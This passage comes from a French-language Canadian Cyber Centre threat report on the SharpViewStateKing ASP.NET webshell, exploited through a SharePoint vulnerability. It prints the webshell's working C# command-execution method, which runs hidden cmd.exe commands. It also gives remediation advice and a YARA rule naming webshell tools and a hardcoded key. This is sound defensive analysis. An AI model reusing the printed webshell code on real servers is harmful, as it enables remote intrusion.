- décoder la chaîne Base64 codée en dur suivante :
QzpcV2luZG93c1xTeXN0ZW0zMlxjbWQuZXhldansC:\Windows\System32\cmd.exe. - lancer le processus
cmd.execi-dessus comme fenêtre masquée, écrire la commande fournie plus "&exit" dansStandardInput, puis extraireStandardOutputetStandardError.
Le résultat a été renvoyé via une réponse HTTP par le constructeur.
Figure 12 : Méthode ExecCmd dans la classe RemoteExec
public class RemoteExec
{
public static string ExecCMD(string command)
{
string empty = string.Empty;
string fileName = Encoding.UTF8.GetString(Convert.FromBase64String("QzpcV2luZG93c1xTeXN0ZW0zMlxjbWQuZXhl"));
string text = command + "&exit";
try
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = fileName;
processStartInfo.RedirectStandardInput = true;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.RedirectStandardError = true;
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
Process process = new Process();
process.StartInfo = processStartInfo;
process.Start();
process.StandardInput.WriteLine(text);
empty = process.StandardOutput.ReadToEnd();
empty = empty.Substring(empty.IndexOf(text) + text.Length);
empty += process.StandardError.ReadToEnd();
process.WaitForExit();
process.Close();
}
catch (Exception ex)
{
empty = $"\r\n[!] ExecCMD error: {ex.Message}";
}
return empty;
}
}
Description détaillée de Figure 12 - Méthode ExecCmd dans la classe RemoteExec
La figure montre une classe C# nommée RemoteExec comportant une méthode statique publique ExecCMD qui exécute une commande d’environnement et renvoie sa sortie. Il s’agit de décoder une chaîne Base64 pour obtenir le nom de l’exécutable, de créer un objet ProcessStartInfo en redirigeant les flux d’entrée/sortie/erreur standards, d’écrire la commande suivie de “&exit”, puis de lire stdout et stderr avant d’attendre la fin du processus. Si une exception se produit, la méthode renvoie un message d’erreur formaté contenant le texte de l’exception.
Indicateurs de compromission et recommandations
Les indicateurs de compromission (IC) ont été distribués par le biais d’alertes et de communications provenant de l’Équipe nationale d’intervention en cas d’incident lié à la cybersécurité (EIIC). Ceci permet de s’assurer que les partenaires dans l’ensemble de tous les secteurs reçoivent l’information dont ils ont besoin pour agir de façon décisive.
En raison des capacités démontrées par la plateforme d’implants, il est fortement recommandé de procéder à une reconstruction complète de tous les hôtes infectés. Les clés de chiffrement et de validation dans l’application Web ASP.NET doivent être considérées comme compromises et être remplacées, conformément aux orientations établies dans l’article Customer guidance for SharePoint vulnerability CVE-2025-53770 (en anglais seulement). Il convient d’examiner les données de télémétrie de détection et d’intervention sur le réseau (NDR pour Network Detection and Response) et de détection et d’intervention sur les terminaux (EDR pour Endpoint Detection and Response) pour déceler des signes de déplacement latéral vers d’autres hôtes sur le réseau, en vérifiant les éléments suivants :
- comptes d’utilisateur nouvellement créés;
- logiciels récemment installés (par exemple, RPV SoftEther);
- toute modification apportée aux paramètres, comme les exclusions de l’antivirus Microsoft Defender.
De plus, tous les mots de passe et justificatifs d’identité dans le système de la victime doivent être considérés comme compromis et, par conséquent, faire l’objet d’une rotation.
Pour obtenir des informations à jour sur les alertes et avis ou des conseils sur la cybersécurité, veuillez communiquer avec le Centre pour la cybersécurité.
Outils et services du Centre pour la cybersécurité
Il n’existe pas un seul outil ou service ou une seule solution prête à l’emploi pouvant reconstituer un incident, tracer le chemin d’un auteur de menace ou valider une menace. Une approche holistique faisant appel à des points de vue variés est nécessaire pour mener une enquête approfondie. Ainsi, le Centre pour la cybersécurité compte sur des sources de télémétrie multicouche pour détecter des menaces et protéger les biens surveillés.
Assemblyline a été utilisé pour permettre le tri à grande échelle. Il a traité des centaines de milliers de fichiers par jour en tirant parti de plus de 75 produits antivirus et vérifié le code de hachage par rapport à une mémoire cache locale de résultats de VirusTotal. Dans cet incident, les 67 échantillons de maliciels uniques récupérés n’ont donné lieu à aucune détection.
En réponse à cet incident, le Centre pour la cybersécurité a créé des règles YARA qui ciblent le code C# plutôt que des DLL compilées, ce qui s’est traduit par des règles de détection plus souples. Des règles YARA additionnelles seront publiées périodiquement, après une période d’évaluation visant à en assurer la précision.
L’exemple de règle YARA ci-dessous met en œuvre la détection de plusieurs des maliciels observés.
Figure 13 : Règle YARA pour les maliciels observés
rule SharpViewStateKing {
meta:
id = "6gLZaiLFk2mV4fWlj0eIQ2"
fingerprint = "00b4dfca3c9c883088259ec9b125411e0896be54cfe08201b03f36d51ae05c8b"
version = "1.0"
date = "2026-05-01"
modified = "2026-05-01"
status = "RELEASED"
sharing = "TLP:CLEAR"
source = "CCCS"
author = "reveng@CCCS"
description = "Detects SharpViewStateKing webshell."
category = "MALWARE"
malware = "SHARPVIEWSTATEKING"
malware_type = "WEBSHELL"
mitre_att = "T1505.003"
hash = "547b65933c4b6af8a240cca21175398775abe228eceea2c4138b262ed0a90967"
hash = "24c600584c3d36cfc02c8dbc528306fe8b69971045b299de8186954e0eed0f3e"
hash = "8d7713e2687dd2e9311e3a3f5df85ecc20dbf4c4b0c91086e0c53bd2c112bde1"
hash = "a6d7461a88cf7f12072b812499fee3ac6d08acff4db611623871765b60cf1014"
hash = "921f6502b79b542b2123ba05f86ccfe44746a5feeefc92d7cf5506f04c47b58a"
hash = "6c249e9a4a55b18a0d17e9430666ccbf61b2fe6349e18e830c4f55ae47fc87d5"
hash = "1f258c70dfb064e6e1a55885b22660aa034469699be7e0ffeb5d174c8afa72c8"
hash = "d2f2f0941fe3cb70ba4aeb0927d1a8abcf556d4150832962eb3cc6c13d6c7256"
strings:
$web_1 = "&__SCROLLPATH=" wide
$web_2 = "/wEPDwUKLTcyODc4" wide
$web_3 = "__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}" wide
$web_4 = "DecodeViewState"
$web_5 = "CraeteViewState"
$web_6 = "WebForms_HiddenFieldPageStatePersister_ClientState"
$web_7 = "ViewStateUserKey" wide nocase
$web_8 = "__VIEWSTATEENCRYPTED" wide
$web_9 = "__VIEWSTATE" wide
$web_10 = "&__SCROLLPOSITION=" wide
$web_11 = "<input type=\"hidden\" name=\"" wide
$web_12 = "<input type=\"\"hidden\"\" name=\"\"__VIEWSTATE\"\" id=\"\"__VIEWSTATE\"\" value=\"\"/wEPDwUKLTcyODc4\""
$web_13 = "&__VIEWSTATEGENERATOR=" wide
$web_14 = "FriendlyUrlsViewSwitcherRoute"
$web_15 = "System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("
$str_plugin_1 = "antsword"
$str_plugin_2 = "godzilla"
$str_plugin_3 = "ghostwebshell"
$str_payload_dotnet_serialized = ": \"/wEyo"
$str_name_1 = "SharpViewStateKing" ascii wide
$str_name_2 = "ViewStateKing" ascii wide
$str_name_3 = "ViewStateLibrary"
$str_enc = "EncryptOrDecryptData"
$str_key = "3c6e0b8a9c15224a"
$str_enc_func = "public static byte[] Enc(byte[] data)"
$str_dec_func = "public static byte[] Dec(byte[] data)"
$str_sys_info = "SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = 'TRUE'"
$str_dll = "a4hmgwwu.dll"
$str_bypass = "[!] Bypass error: {0}" wide
condition:
2 of ($web_*) and
2 of ($str_*)
}
Description détaillée de Figure 13 – Règle YARA pour les maliciels observés
Cette règle YARA détecte le code encoquillé ASP.NET de SharpViewStateKing, qui abuse du mécanisme ViewState et de l’état de page codé en Base64 pour exécuter des commandes, y compris des références à des outils connus liés au code encoquillé et aux méthodes .NET pour l’encodage/le décodage et le chiffrement/déchiffrement personnalisé. Elle est conçue pour l’analyse de pages ASP.NET et d’assemblages .NET où des champs d’entrée masqués et des charges utiles sérialisées peuvent être présents. Les faux positifs devraient être rares, mais ils peuvent se produire dans des applications fortement personnalisées qui manipulent ViewState de manière non standard.
Mentions
Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité), qui relève du Centre de la sécurité des télécommunications Canada (CST), est un fier membre de la collectivité des cinq, l’alliance d’échange de renseignement la plus ancienne et la plus soudée au monde. Le partage d’IC et de TTP avec la communauté de la cybersécurité et les partenaires de la collectivité des cinq a constitué un facteur déterminant depuis que les plugiciels SharpViewStateKing ont été découverts, et des échanges analytiques continus ont permis d’optimiser la valeur des données recueillies.
Avis de non-responsabilité : Le Centre pour la cybersécurité rejette toute responsabilité à l’égard des pertes, des dommages ou des coûts pouvant découler de l’utilisation ou du recours à l’information relevant du présent article. Les lectrices et lecteurs demeurent seuls responsables de la vérification de l’exactitude et de l’applicabilité des renseignements avant de s’en servir.